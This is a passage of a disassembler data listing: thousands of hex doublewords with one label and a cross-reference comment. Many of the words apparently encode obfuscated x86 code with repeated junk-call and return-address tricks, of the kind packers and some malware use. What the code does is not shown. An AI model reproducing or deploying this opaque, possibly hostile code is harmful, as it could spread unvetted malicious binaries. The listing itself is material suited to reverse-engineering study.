5610DEDCh, 1BED8529h, 0B58B05E7h dd 5EAA63Ah, 91D38166h, 7D858B96h, 8905E718h, 0E728C995h dd 1BBF6605h, 0C4868921h, 66000000h, 958BFB8Bh, 5E71AA9h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 43C35040h dd 0B5BD89D1h, 8305E704h, 0F6B704C2h, 89205089h, 0E722A595h dd 0C3858D05h, 6A05EABAh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 5F2EC356h, 61D8CA2Ch dd 6C5BD8Bh, 868905E7h, 0B8h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 97C35747h, 723893A7h, 698589BEh dd 6A05E719h, 0B5FFFC00h, 5EAA646h, 4830F56h, 66000000h dd 5B4FABBBh, 1ABD95FFh, 0E95305E7h, 8, 0BC5CC73Fh, 0B7EA599Eh dd 35B5015Bh, 5005E704h, 89DE8B66h, 95892434h, 5E717FDh dd 0A646B5FFh, 6A05EAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 3AE209C3h, 0F5BD2966h, 0FF05E70Bh dd 0E7077995h, 6820F05h, 8B000000h, 0E70B25BDh, 0DBD8305h dd 5E72Dh, 3B840Fh, 880F0000h, 0Ch, 68E0Fh, 0BD330000h dd 5E70665h, 0DE850h, 45360000h, 0DF09C42h, 0D4C028F7h dd 505E2A34h, 5A310F52h, 34895B58h, 29506024h, 0E70475B5h dd 0F08B5805h, 46B5FF61h, 6A05EAA6h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 844C356h dd 3270DD7Bh, 3595FF5Fh, 8105E724h, 7AACD8DBh, 46B5FF19h dd 6A05EAA6h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 38ADC350h, 2E719D8Bh, 0D38105E7h dd 194C42AFh, 76D95FFh, 6A05E7h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 1851F1C3h, 0BD83B444h dd 5E72D85h, 63840F02h, 89000000h, 0E72AF98Dh, 85858B05h dd 6A05E711h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 7C1FC352h, 6820FEBh, 8B000000h dd 0E728959Dh, 0C6BDB705h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 6D0468C3h dd 0E95620E8h, 1561B589h, 85C705E7h, 5E72319h, 0 dd 0F39BE9FCh, 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 0F7535BC3h, 0B9ADEC1Eh, 18A0Fh dd 52FC0000h, 0A1AFBB66h, 89C18B5Bh, 0E728D5BDh, 95858D05h dd 6A05E713h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 0BF03C357h, 0C11A4B35h, 7E9C6h dd 53420000h, 406CB58Ch, 11E926h, 0B1710000h, 0AD3967F5h dd 1484FF64h, 0D0D3A757h, 90AAFC0Fh, 0D266BF66h, 8E0F5650h dd 2, 905B5B57h, 0C47D5FBFh, 6A006A18h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0D392C357h dd 2B01BD29h, 9D8B05E7h, 5E72005h, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8DC4B4C3h dd 0EB96AB85h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 0F3AAFA18h, 1E8A6316h dd 0C083FB8Bh, 18D8905h, 5005E702h, 0D98B6057h, 4895B61h dd 0DE924h, 165E0000h, 7FC82EE0h, 0EDCD644Bh, 6A660A08h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 7B3D7AA2h, 0BE845930h, 840FDDh, 56000000h dd 5B23CF80h, 0BB66006Ah, 95FFC731h, 5E71A4Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 84C35242h, 0DF81D615h dd 7DE86820h, 0A4AA8D8Dh, 6A05EAh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 51E581C3h, 359D03A4h dd 0FF05E721h, 0CE8D1h, 51F40000h, 98F1E345h, 0E4F6A16h dd 5F53A472h, 8DBD835Fh, 105E72Bh, 0C6850Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 1D3AC3C3h, 0C59D8B8Fh, 6A05E711h, 0FE802h, 87360000h dd 0E7604EB4h, 75612EEBh, 9A5281C6h, 0C3816651h, 905FAF71h dd 11E8h, 0B111A300h, 0B9487115h, 9DEB8C09h, 0C2C7E587h dd 5E8D4E4h, 0A2000000h, 9FA25DA4h, 5B5B5B51h, 8A576050h dd 0DD8A5BE7h, 6A9061h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 4F4796C3h, 0C3D0F7A5h, 0DBBF0F41h dd 1ABD95FFh, 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 0B018ADC3h, 86F9A44Eh, 0BB9396F5h dd 6879CF5Bh, 0E64E9h, 0E800h, 815D0000h, 0EB96B5EDh, 0EE86005h dd 0AD000000h, 2CF9004h, 1298BDE7h, 0ED3F4923h, 5E8B2h dd 21AA0000h, 5B3458F0h, 0EF81665Eh, 6A6159ACh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 0FD0AC352h, 53557036h, 93E758C9h, 7918589h, 858D05E7h dd 5EA90FDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0AC35141h, 1621D7Fh, 0E700B19Dh, 0A5BD8B05h, 5005E712h dd 0D98B5250h, 0DE9310Fh, 0F8000000h, 0B684916Ah, 0A40A1678h dd 3B95B005h, 489585Ah, 0A3DF8024h, 35FF64h, 0E9000000h dd 10h, 1348FBEFh, 1B753455h, 10B64C17h, 785B31BEh, 258964h dd 0E8000000h, 14h, 336A4213h, 0D68EADABh, 80CDC98Eh, 8BE317D8h dd 0AA044F40h, 5F45EB80h, 14FD85FFh, 6A05E7h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 4EF2EC3h dd 0DA3F80CAh, 609C95D3h, 2820Fh, 6B60000h, 6AFF6A61h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 8E7DC353h, 90DCB166h, 6810F57h, 8B000000h dd 0E713F1BDh, 29B5FF05h, 6A05E720h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0F9E2C352h dd 5195FF64h, 0E905E704h, 159h, 0FE8h, 2FDD2800h, 36A40D77h dd 2474AD89h, 985D6A0Ch, 0F00B05Fh, 70E6D8B7h, 3CF971E4h dd 32830F61h, 8B000001h, 0E7241D9Dh, 0C8B60F05h, 2699509h dd 6BA05E7h, 60000000h, 2BA9958Bh, 840F05E7h, 6, 3299D89h dd 8B6105E7h, 4E8C1C1h, 14419D8Bh, 0F76605E7h, 8830FE2h dd 0F000000h, 282h, 2B616000h, 6880FC8h, 8B000000h, 0E7290DBDh dd 89D18B05h, 0E701A9BDh, 0DFB70F05h, 6E9h, 0A6CF8100h dd 8B337151h, 0E727CD85h, 12E805h, 6A9F0000h, 12D8158Eh dd 993C6663h, 4C271101h, 7A0FBEA6h, 0C4DD89BFh, 0C0835F5Dh dd 6890F07h, 29000000h, 0E716098Dh, 0C19D8B05h, 8305E708h dd 56BF00C0h, 3B0EADC4h, 27830FD0h, 60000000h, 6830Fh dd 0D3810000h, 31ACB25Eh, 6E960h, 0DF300000h, 17F5E18Ch dd 6161DF8Bh, 60E9h, 0DF816600h, 8D8B238Fh, 5E7185Dh, 20C59D8Bh dd 858905E7h, 5E70005h, 0F01E183h, 4084h, 0DAB70F00h, 185DA583h dd 0E8FE05E7h, 11h, 48CC1FF6h, 0C51CA60Ah, 7043F0B2h, 18081BB8h dd 8B5BF945h, 0E7250D9Dh, 0CD958905h, 0F905E727h, 6840Fh dd 9D8B0000h, 5E71B05h, 0E9h, 96B58D00h, 0BB05EB03h, 66B1E363h dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 9A86F4C3h, 4F8707ADh, 89F8B70Fh, 0E713ED95h dd 0C195FF05h, 6A05E721h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 91FC357h, 0BEEC01FAh dd 0BF66ED75h, 0E4B94107h, 6A000008h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 2127C353h dd 9D9627CBh, 0FCE18384h, 0DB59C5BBh, 90C38100h, 0FC5A4270h dd 19C59D8Bh, 0C02B05E7h, 2CCDB501h, 0BA05E7h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 0F279C353h, 5D886DA4h, 898501F8h, 0AD05E704h dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 8D5FC357h dd 6D753E2Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 11C35242h, 0A7EE33BFh, 1B5E87B0h, 0F1B529A6h, 0D05E713h dd 88h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h dd 62C35747h, 505EBA8Ch, 58D0Fh, 86BB0000h, 0F80EC110h dd 1AA9958Bh, 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 7AD038C3h, 8BA18243h, 0E728719Dh dd 4D8D8B05h, 6A05E72Ah, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 2533C356h, 299B5921h dd 5069DFF3h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h dd 21BD8B58h, 6A05E71Ah, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0B026C356h, 3F3D560Ch dd 832CF271h, 0E71865BDh, 840F0005h, 5Ch, 0B8FCh, 0F88B0000h dd 4D248D8Dh, 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 12E82FC3h, 0FF000000h, 4E14DD77h dd 496A4000h, 4A3BE730h, 4ACBEE4Fh, 0E9BD8B7Fh, 5F05E70Bh dd 6E8E1FFh, 0C4000000h, 45A3A059h, 41B589EDh, 5B05E71Dh dd 2739BD83h, 0F0005E7h, 4CC84h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 63EB2AEBh dd 1349BD8Bh, 0B58905E7h, 5E732D5h, 2739BD83h, 0F0105E7h dd 4AF84h, 49958900h, 8305E718h, 0E72739BDh, 860F0305h dd 466h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 6FC35545h, 8B4538CCh, 0E723C59Dh, 6800F05h, 89000000h dd 0E727C58Dh, 830F6005h, 5, 2BC38166h, 0D98C6613h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 5EC35141h, 558B766Eh dd 0F4CCD381h, 0B5093A0Bh, 5E72CD5h, 6A04E180h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 126C352h, 0E703F1B5h, 0FC90A05h, 11184h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0DADE46E9h, 99858B2Ch, 0F05E706h, 684h, 85BD8B00h, 0F05E705h dd 8533DFBFh, 5E71309h, 250DBD8Bh, 669005E7h, 5055DFBBh dd 0C31C94BBh, 6A903Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 730348C3h, 4843484Bh, 8B006A2Bh dd 0E70A21BDh, 28D36805h, 0DABB6171h, 8134E708h, 2B2C2434h dd 0B5BB616Eh, 0FF4F7C19h, 0E71B7195h, 57006A05h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 2462506h, 26D0F4F8h, 0BB6676F4h, 85893B63h, 5EAA646h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0F9C35646h dd 0DE99F6Eh, 6A000002h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 6076C350h, 123F88BFh dd 0BD8BCD90h, 5E71C3Dh, 858BFE8Bh, 5EAA63Eh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0E9C35545h, 73CD3A93h dd 499D23EDh, 0C705E718h, 1800h, 0DCE38100h, 6657E7D9h dd 0B58BD88Bh, 5EAA642h, 249D9D8Bh, 6CBB05E7h, 8B32780Ah dd 0E7328985h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 89EC4E88h, 0DF816606h dd 858B66C7h, 5E70699h, 89E8C380h, 6A0446h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 11AFF0C3h dd 47A61725h, 85898F5Fh, 5E72131h, 0BABB6696h, 0FE8509Eh dd 15000000h, 0D4162A5Ch, 9604BB32h, 9AB1FC0Ch, 10E872FEh dd 0C2000000h, 0ACC8B550h, 0B71547CCh, 1F65B65Bh, 50557E65h dd 5A310F52h, 965B5B58h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 12C35747h, 8143B888h, 9E92E3DBh, 3EB5FF74h dd 6A05EAA6h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 0B6FFC357h, 7AD03891h, 89A18243h dd 0E70415BDh, 5A7C6805h, 0FE8AF515h, 83240481h, 8B0B09A9h dd 0E7328D9Dh, 46858D05h, 6A05EAA6h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0AD07C352h dd 0D91CFA32h, 9D8B19BAh, 5E72995h, 89DFB350h, 6A2404h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 0A28FBFC3h, 9946C69h, 0E71A1595h, 29953105h, 0FF05E722h dd 0E71B7195h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 0B06A41h, 891A4352h, 0BD2931F9h dd 5E72131h, 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 3985C778h, 305E727h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 0D309C350h, 99DEB772h, 8E803h, 0C6310000h, 0C441BB85h dd 7E866F9h, 43000000h, 0F4A722AAh, 0BB6618C1h, 5F5F4A16h dd 0A646BD83h, 0F0005EAh, 6584h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 83B08358h dd 48B0Fh, 0BF660000h, 52E9C305h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0CF40C351h, 367ED432h, 0D33D62F3h, 6830Fh, 0EF810000h dd 5782C50Fh, 1365BD8Bh, 305005E7h, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dword_588C68 dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h ; DATA XREF: sub_542C3C+11C4Do dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 56006AC0h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 60D0CA34h dd 101BD89h, 950905E7h, 5E72F4Dh, 4DCB8161h, 831E0319h dd 0E72739BDh, 850F0305h, 390h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 0E1C35545h, 8B1BD89h, 0BD8305E7h dd 5EAA646h, 61840F00h, 8B000003h, 0E707D9BDh, 46B5FF05h dd 8905EAA6h, 0E728158Dh, 1995FF05h, 8905E702h, 0E70C8585h dd 3AB58B05h, 6A05EAA6h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 0A9BBC357h, 3ADEA6ECh dd 7E5AC8BFh, 106C720h, 66000100h, 891CC381h, 68D0Fh, 0DF810000h dd 2F08B064h, 89D98B50h, 0B5FF2434h, 5EAA646h, 14DADB81h dd 95FF49A0h, 5E70031h, 2C2DBD03h, 816605E7h, 8BD515F3h dd 0EAA63AB5h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 9501C79Bh, 5E711BDh, 187D858Bh dd 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 0F5A00C3h, 1F3816E6h, 0C48689h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0B32B27C3h, 0BD8B36E8h, 5E700B1h, 1AA9958Bh, 6A05E7h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0A35ADCC3h, 8B01A0C7h, 0E732699Dh, 4C28305h, 0F1EF8166h dd 2050897Ah, 858D48B7h, 5EABAC3h, 0BE9h, 0A9CE6E00h, 8E59BA19h dd 0F52872CAh, 0B88689h, 9D8B0000h, 5E712B5h, 1FDDBD0Bh dd 6A05E7h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 0DBC35040h, 0F35C0CF6h, 0BF0FBDA0h, 46B5FFDEh dd 8005EAA6h, 95FFA9F7h, 5E71ABDh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 0C1C35242h, 563C150Ah, 0BE70992Dh dd 1CF1BD33h, 609605E7h, 0DE9h, 2A886400h, 3023EB6Ah, 0CB2266B1h dd 0E957812Eh, 0Dh, 91CC7649h, 0DBC82AF6h, 5606D636h, 50615E87h dd 52505250h, 2C3CBF66h, 0BB66310Fh, 585A4692h, 0BE9310Fh dd 0AA000000h, 0E2A1CA07h, 35FA25E2h, 585AE818h, 18BF6696h dd 46B5FF0Eh, 0F05EAA6h, 68Ch, 0F5BD0900h, 0FF05E701h dd 0E7077995h, 95952905h, 8305E724h, 0E72D0DBDh, 840F0005h dd 2Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh dd 3FC35040h, 0E3230C8Bh, 0FC6EE177h, 8919B750h, 0B5FF2434h dd 5EAA646h, 0FFF8B70Fh, 0E7243595h, 399D8B05h, 0FF05E70Ah dd 0EAA646B5h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 0A5D5BBC5h, 95FF6CCCh dd 5E7076Dh, 0DB816651h, 835F296Eh, 0E72D85BDh, 840F0205h dd 69h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh dd 0E8C35040h, 4FB4969Ch, 3A9C828h, 0DD8589E2h, 8B05E708h dd 0E7118585h, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 1876FDCAh, 0E8E54E73h dd 42B34268h, 0E80000C6h, 5, 97AB2DE8h, 18EF802Dh, 1985C75Fh dd 5E723h, 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0A95DC351h, 62259A8Eh, 3DDE33AFh dd 6674DB80h, 26D6C381h, 0FFF308E9h, 57006AFFh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 8BE04C29h dd 0E732F1BDh, 6AC18B05h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 4153C350h, 37CB8166h dd 95858D11h, 6A05E713h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 0A9D4C352h, 0BCBBB0D7h dd 9022427Eh, 0DE9h, 0E8E9B400h, 89B6671Ch, 0B28D022Dh dd 5050F3C8h, 0FDE8B52h, 43BF6631h, 90585A79h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 1DC35141h, 0FD4069EEh dd 89687724h, 0E703E18Dh, 51006A05h, 6A5BDE8Bh, 99BD8B00h dd 0E905E72Ch, 9, 617856Ah, 67BDC4C5h, 5F858DF1h, 6A05EBA7h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 16F3C350h, 891E8A63h, 5C083C5h, 0CE8h, 0C3191000h dd 0FD4A9158h, 0AC862EF6h, 0CE9D2h, 0FAED0000h, 7F83B52Dh dd 5D639F9Ch, 905F04D7h, 50DA8B66h, 0EAC0BF66h, 599D8B90h dd 6A05E709h, 10E800h, 38EC0000h, 0AA2E12E5h, 0C158D36Fh dd 6E0F5214h, 76B372D5h, 15BD0B5Fh, 6A05E722h, 0BD8B5700h dd 5E713BDh, 4D95FF5Fh, 6A05E71Ah, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0F981C352h dd 0A4AA8D8Dh, 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 73403FC3h, 41CCC676h, 0D1FF4CF7h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 30C35646h dd 0D4B6F824h, 9D8BD692h, 5E70CC1h, 99EF8166h, 8DBD83B0h dd 105E72Bh, 0AA850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 9D010FC3h, 5E708F5h dd 6A026Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 0E94E2FC3h, 9D8BACB2h, 5E72E89h, 0DC8A5290h dd 0AE8505Bh, 9B000000h, 0AB1D3E85h, 7E6F5F67h, 8BBF663Fh dd 6A905B77h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0DBABC351h, 7191A1CBh, 0F182738Ch dd 8800Fh, 8B0F0000h, 2, 0BD8B6160h, 5E72521h, 1ABD95FFh dd 0E78105E7h, 7B070F64h, 0E5BE9h, 0E800h, 815D0000h, 0EBA769EDh dd 0D7816605h, 9D8BB803h, 5E7240Dh, 800F6060h, 0 dd 6161C88Bh, 90FD858Dh, 6A05EAh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 0F079C3h, 0A8DBAA92h dd 66A0BA16h, 2842E381h, 5006F380h, 89FB8B66h, 6A2404h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0BF150FC3h, 1100CCD4h, 35FF64h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 43DC356h, 896424A0h, 25h, 85FFFC00h, 5E714FDh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 55C35242h, 8F45BB00h dd 0F7813C7Eh, 310DF540h, 9D09FF6Ah, 5E732E5h, 32B5B5FFh dd 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 0A537E6C3h, 8166246Fh, 0FF7A31F3h, 0E7045195h dd 128E905h, 9D8B0000h, 5E72021h, 0BD8900B0h, 5E713C1h dd 840F70E6h, 6, 0A4D9D23h, 9D8905E7h, 5E72CB9h, 9E871E4h dd 1000000h, 46DC1F06h, 0A98E76ABh, 32C59D8Bh, 3C5B05E7h dd 0E7830F61h, 8B000000h, 0FDE8BFBh, 8166C8B6h, 66A994E3h dd 430DCF81h, 6BAh, 41BD8900h, 8B05E724h, 0B70F57C1h, 0E8C15FF9h dd 51B52904h, 6605E72Eh, 890FE2F7h, 6, 14119D29h, 0C82B05E7h dd 0E9D18BFCh, 9, 0A2655B5Ch, 2CBBDA97h, 6E9E6h, 0B5290000h dd 5E728C1h, 1AF9858Bh, 6E805E7h, 14000000h, 8E48B0A2h dd 5BFE8B0Bh, 8907C083h, 0E71745B5h, 0BE805h, 0BE960000h dd 497DA17Fh, 359D2101h, 299D8B21h, 5F05E704h, 0E900C083h dd 5, 75489DB2h, 0FD03BD7h, 1183h, 91BD8B00h, 0E905E723h dd 3Ah, 194DBD8Bh, 8D8B05E7h, 5E707CDh, 958529FCh, 8305E718h dd 840F01E1h, 1Eh, 0A5835F52h, 5E707CDh, 0EBF66FEh, 0F995892Eh dd 2B05E71Ah, 0E721599Dh, 0E905h, 0B58D0000h, 5EB0E72h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0A0C35545h dd 8892B95h, 31075686h, 0E7040DB5h, 89006A05h, 0E7048DB5h dd 0C195FF05h, 6A05E721h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 8008C351h, 3B8EB88Dh dd 4A23A583h, 1D659D01h, 0B9B905E7h, 66000008h, 83F9D88Bh dd 6AFCE1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 0FC9EA3C3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 84C35747h, 479BFF41h, 0B8h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 8EFF8EB4h, 71026990h, 0D22B895Fh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 6EC35242h, 87CF3B8Ah, 33AD6647h dd 3E8D1C2h, 4E983D0h, 6AF475h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 0EF9A78C3h, 66DF8B66h dd 880DD88Bh, 0F000000h, 0C87h, 6890F00h, 89000000h, 0E7207D95h dd 0A9958B05h, 6A05E71Ah, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 915C352h, 8FF1F0F0h dd 8D8B8D44h, 5E72A4Dh, 32F99589h, 8B5005E7h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0BCBEF4BBh, 6AF841h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 8FB541C3h, 1CBF2E38h, 8316AA0Eh, 0E71865BDh, 840F0005h dd 5Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah dd 0E4C35040h, 0A2F3F6F8h, 0BD89ECA5h, 5E711C5h, 0B8h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 0A3D62D55h, 0BB665163h, 8D5BB32Fh, 0E74D248Dh dd 0F9BF0F05h, 83F8E1FFh, 0E72739BDh, 840F0005h, 4F1h dd 2CB8157h, 5F4A5E97h, 0B5E1CB81h, 0BD834EEDh, 5E72739h dd 0F1840F01h, 8B000004h, 0E71B65BDh, 39BD8305h, 305E727h dd 4A8860Fh, 0BB660000h, 958913A7h, 5E72E5Dh, 11E960h dd 74960000h, 0A49F8757h, 0AB8536F8h, 1348FBEFh, 66753455h dd 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0A8DEAC3h, 179A9049h, 0E9A885B5h, 11h, 9AF2DFF6h dd 9675B1F1h, 11EAEB13h, 61B8C65Ah, 0E180FC5Fh, 799D8904h dd 0A05E71Ah, 0B4840FC9h, 6A000001h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0F2CC355h dd 7A8CA218h, 69B589C7h, 6605E704h, 858BD98Bh, 5E70699h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0C9C35040h dd 0E837854Ah, 0Dh, 7BD13083h, 3425DC14h, 0A50AF185h, 0BB5FF984h dd 7F5A29CFh, 13098533h, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 335417C3h, 88F76D6Dh dd 0BA81267h, 0E72161BDh, 52505005h, 310FF88Bh, 0FFE161BFh dd 89585A61h, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 988A8DC3h, 0BD038F89h, 5E70CE1h dd 0E8F8006Ah, 4, 1F03FFh, 5177BF66h, 8BF98B50h, 0E9042444h dd 0Fh, 2A8202E0h, 0A4C0589Ch, 0F572797Bh, 8B5491DAh, 24448900h dd 4EEBF04h, 6A587CB3h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 478C351h, 634140FDh dd 51044B5Fh, 6830Fh, 8C0F0000h, 0 dd 0BEE7815Bh, 0FF60236Fh, 0E71B7195h, 57006A05h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0BFADB8Ch, 0DAE9E6A8h, 8589F98Bh, 5EAA646h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 32C35141h, 0F8687A8h dd 68Fh, 358D8900h, 0E905E728h, 226h, 0EE9h, 1495BB00h dd 0EEDF42C6h, 67F6049Bh, 8BD509E0h, 0EAA63E85h, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 47523CB1h, 0E72D8C4Bh, 0EE9EEh, 1A190000h, 42ED0F27h dd 379D5BB4h, 3D010D82h, 0FE8h, 0C4851900h, 5A880FDh, 0D4DEF8FCh dd 0D3E7183Ah, 0C75BF88Bh, 1800h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 38FDEC8Eh dd 9745CD2Ch, 0FE8h, 1BE46700h, 8A922084h, 